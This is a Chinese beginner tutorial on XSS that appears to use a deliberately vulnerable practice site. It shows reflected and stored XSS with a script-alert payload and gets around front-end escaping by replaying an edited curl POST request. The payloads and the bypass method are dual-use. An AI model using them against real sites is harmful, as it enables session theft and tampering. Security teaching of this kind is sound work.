前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >xss基础实练(新手篇二)

xss基础实练(新手篇二)

作者头像
网e渗透安全部
发布2019-08-09 14:57:09
6190
发布2019-08-09 14:57:09
举报
文章被收录于专栏:白安全组白安全组白安全组

4.1 思路分析

在知道反射型XSS,是通过URL地址传播的,那么就需要思考那些地方会让URL地址的参数在页面中显示;相信读者都用过一些网站的站内搜索,在站内搜索的位置往往会将搜索的关键词展示在页面当中,如下图所示

而在首页也看见此网站有搜索功能,因此可以从搜索位置着手,可以在搜索位置输入一个简单的payload,参考如下

<script>alert(123)</script>

当点击搜索后,会自动跳转到以下URL当中,此时浏览器的URL地址已经发生了变化,URL地址如下:

http://permeate.songboy.net/home/search.php?keywords=<script>alert(123)</script>

搜索的表单是使用了GET传参,满足了测试反射型的第一步要求

小风教程网搜索页面自动过滤xss代码。

4.2 漏洞检验

接下来就需要看看的payload有没有被触发,结果很意外,不但没有被触发还被浏览器所阻止了,如下图

这里就需要跟读者说明一下,谷歌内核浏览器自带XSS筛选器,所以对于反射型XSS测试,尽量不使用谷歌浏览器,建议使用火狐浏览器进行测试;

4.3 结果分析

现在将上面的URL地址复制下来,并粘贴到火狐浏览器当中,并按下回车,看到效果如下图

此时payload已经被触发,说明找到了一个反射型XSS的漏洞,这种漏洞相对来说非常初级,随着浏览器的XSS筛选器变得更加智能,这种漏洞也越来越少,在下面的内容当中将会提到存储型XSS挖掘与绕过。

五、存储型挖掘

现在来寻找存储型XSS,存储型的攻击代码是存储在服务端,因此需要找出一些会将表单内容存储到服务端的位置,在之前已经对permeate做了一番了解,因此知道permeate拥有发帖和回帖功能,这些功能正是需要将参数存储起来并展示的地方。

5.1 发现漏洞

在首页点击XSS板块,进入到了板块列表当中,如下图

在右下角能看到有一个发帖按钮,点击发帖按钮后,即可进入发帖界面,如下图

在permeate渗透测试系统当中,如果要发表帖子,那么就需要有账号,这里随便注册一个账号,注册过程就不详细讲解了

5.2 检验漏洞

在注册账号完成并登陆之后,再次打开发帖页面,并在标题处和内容处都填写payload,参考内容如下:

<script>alert(123)</script>

在标题处和帖子内容中分别填写payload,填写好之后,应和与下图一致

填写好内容之后,点击下方的发表按钮,即可进行发帖,发帖成功会弹出一个提示成功,如下图所示

点击确定之后,会跳转到发帖列表,并弹出一个123的提示框,如下图所示

如果看到这个弹框,说明的payload已经被执行,点击确定就可以看到列表的内容,如下图所示

在列表中只显示标题,所以帖子内容中的payload并没有被执行;

5.3 抓包绕过

现在点击标题,进入帖子详情页面,在详情页发现payload也只触发了一次,而且内容当中的标签被直接显示了出来,如下图

当标签被直接显示出来,这说明的参数被转义了;转义分为两种,前端转义和后端转义,如果是后端转义通常会放弃测试,如果是前端转义则可以绕过这个限制;在这里发现标题没有被转义,而内容被转,猜测可能是前端做的转义,因此可以通过浏览器的审查工具将数据包拷贝下来;

首先重新打开发帖页面,然后在网页随便一个位置单击鼠标右键->选择审查元素->切换到network标签并勾选Preserve log,打开网络并勾选Preserve log的目的是让发表帖子之后,能在网络请求中找到该记录,现在可以填写新的payload,如下图

点击发表按钮之后,可以在控制台中找到刚才的post请求,从请求中可以看出,这个数据发出去就已经被转义了,如下图

5.4 编码替换

当确定这个地方存在前端做了转义处理,如果后端没有做处理,就可以绕过它,现在将请求复制出来,然后改变里面的数据,如下图

复制出来的数据如下

curl'http://permeate.songboy.net/home/_fatie.php?bk=6&zt=0'-H'Connection: keep-alive'-H'Cache-Control: max-age=0'-H'Origin: http://permeate.songboy.net'-H'Upgrade-Insecure-Requests: 1'-H'Content-Type: application/x-www-form-urlencoded'-H'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'-H'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'-H'Referer: http://permeate.songboy.net/home/fatie.php?bk=6'-H'Accept-Encoding: gzip, deflate'-H'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8'-H'Cookie: __cfduid=defc970ef7081e30aedd761da5762b1891532003579; UM_distinctid=1655a61a23343c-03f0904540a333-34657908-1fa400-1655a61a234323; PHPSESSID=rufhm0741qfv55cpfnc80k1g4l'--data'csrf_token=3908&bk=6&title=222%3Cscript+%3Ealert%28123%29%3C%2Fscript%3E&content=%3Cp%3E222%26lt%3Bscript+%26gt%3Balert%28123%29%26lt%3B%2Fscript%26gt%3B%3C%2Fp%3E'--compressed

找到参数中的title和content参数值,将title的参数值复制下来,然后替换content的参数值,替换后的内容如下

curl'http://permeate.songboy.net/home/_fatie.php?bk=6&zt=0'-H'Connection: keep-alive'-H'Cache-Control: max-age=0'-H'Origin: http://permeate.songboy.net'-H'Upgrade-Insecure-Requests: 1'-H'Content-Type: application/x-www-form-urlencoded'-H'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36'-H'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'-H'Referer: http://permeate.songboy.net/home/fatie.php?bk=6'-H'Accept-Encoding: gzip, deflate'-H'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8'-H'Cookie: __cfduid=defc970ef7081e30aedd761da5762b1891532003579; UM_distinctid=1655a61a23343c-03f0904540a333-34657908-1fa400-1655a61a234323; PHPSESSID=rufhm0741qfv55cpfnc80k1g4l'--data'csrf_token=3908&bk=6&title=222%3Cscript+%3Ealert%28123%29%3C%2Fscript%3E&content=222%3Cscript+%3Ealert%28123%29%3C%2Fscript%3E'--compressed

替换完成之后,将此内容复制到终端当中(如果读者用的是windows操作系统,可以下载一个cmder),然后按下回车键,结果如下图

5.5 结果分析

在返回结果当中可以看到提示发帖成功,此时就已经成功发布了一个新帖子,回到帖子列表当中看到有三条帖子,在最后面的帖子则是新发布的,如下图

打开详情页,被弹了两次提示框,说明标题和内容当中的payload都被触发,并且在控制台当中也可以看到script变成了DOM节点,而不是文本展现出来,如下图所示

看到此处说明已经成功绕过前端XSS过滤器,关于XSS怎么利用,网上有很多XSS测试平台大家可以搜一下,怎么做坏事就不教了。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-03-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 4.1 思路分析
  • 4.2 漏洞检验
  • 4.3 结果分析
  • 5.1 发现漏洞
  • 5.2 检验漏洞
  • 5.3 抓包绕过
  • 5.4 编码替换
  • 5.5 结果分析
相关产品与服务
命令行工具
腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档